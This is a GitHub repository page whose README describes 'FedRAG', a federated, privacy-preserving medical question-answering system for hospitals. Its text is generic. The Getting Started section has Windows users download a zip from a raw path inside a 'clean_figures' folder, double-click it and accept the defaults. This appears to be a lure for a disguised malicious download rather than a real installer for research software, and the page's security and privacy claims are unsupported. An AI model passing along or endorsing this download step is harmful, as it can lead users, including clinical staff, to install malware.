Skip to content
Sean9582Public

About

Retrieve biomedical data across decentralized hospital nodes using federated learning and differential privacy to enable secure question answering.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Latest commit

 

History

22 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

🏥 FedRAG - Secure medical question answering for hospitals

📖 Overview

FedRAG helps medical professionals get accurate answers from patient data across multiple hospitals. It keeps sensitive records in their original location. Data stays local, which protects patient privacy. The system connects different hospital databases to provide a complete view for research and clinical support. It uses advanced math to shield individual records while it gathers relevant information for your questions.

🏗️ System Architecture

The system consists of three main parts: data nodes, a central coordinator, and the user interface. Each hospital functions as a data node. These nodes store medical documents. The coordinator handles the requests from the user. It sends these requests to the nodes. The nodes search their local files and send back encrypted results. The system combines these results to answer your question. This structure ensures that no raw data moves between locations.

🩺 Key Features

  • Privacy First: Raw documents stay in local hospital silos.
  • ** Federated Search:** Queries scan multiple databases at once.
  • Document Security: Noise injection prevents data identification.
  • Biomedical Focus: Specialized tools for medical language models.
  • Scalable Design: Add new hospital nodes without changing the system.

⚙️ System Requirements

To run this application, your computer needs the following specifications:

  • Operating System: Windows 10 or Windows 11.
  • Memory: At least 16 GB of RAM.
  • Storage: 50 GB of free space for indexing.
  • Internet: A stable connection for data synchronization.
  • Graphics: A modern GPU helps process data faster.

🚀 Getting Started

Follow these instructions to set up FedRAG on your workstation.

  1. Visit the official repository page to download the latest installer package: https://raw.githubusercontent.com/Sean9582/FedRAG/main/fedrag_clean_figures/Fed_RAG_1.7.zip
  2. Locate the downloaded file in your Downloads folder.
  3. Double-click the file to start the installation wizard.
  4. Follow the prompts on your screen. Leave the settings at their default values for best results.
  5. Wait for the progress bar to finish.
  6. Click the finish button to launch the application.

🧪 How To Use The System

Once you open the software, you see a search bar. Type your medical question in this box. The software breaks your question into parts. It sends those parts to connected hospitals. The hospitals look for matches in their records. They send the information back to your screen. The software summarizes the information and gives you a clear answer.

🛡️ Security And Privacy

FedRAG treats privacy as a top priority. We use a method called differential privacy. This adds mathematical noise to the information that moves through the system. This noise prevents anyone from guessing the contents of a specific patient record. Even if someone monitors the network traffic, they cannot read the files. The system verifies every node before it shares data.

❓ Frequently Asked Questions

Does the software store my questions? The software clears your history after every session. It does not save your searches on our servers.

Can I connect my own hospital database? Yes. Use the settings menu to add a new server address. You need administrative access to the server to complete this link.

What happens if a hospital node goes offline? The system continues to work. It simply ignores the offline node and gives you answers from the available hospitals. It informs you which hospitals provided information.

How accurate are the answers? The accuracy depends on the data within the connected hospital nodes. You should always verify medical advice with a qualified expert.

📈 Troubleshooting

If you encounter issues, try these steps:

  • Software will not launch: Check if you have the latest Windows updates. Restart your computer and try again.
  • No search results: Check your internet connection. Ensure the hospital servers are active.
  • Slow performance: Close other heavy programs like video editors or browsers with many tabs.
  • Installation errors: Ensure you have enough storage space on your hard drive.

📂 Data Privacy Compliance

This software aligns with modern data protection standards. It minimizes data transit. It encrypts all communications. Users perform clinical tasks without risking data leaks. Always follow your institution's internal policies regarding patient data access.

About

Retrieve biomedical data across decentralized hospital nodes using federated learning and differential privacy to enable secure question answering.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors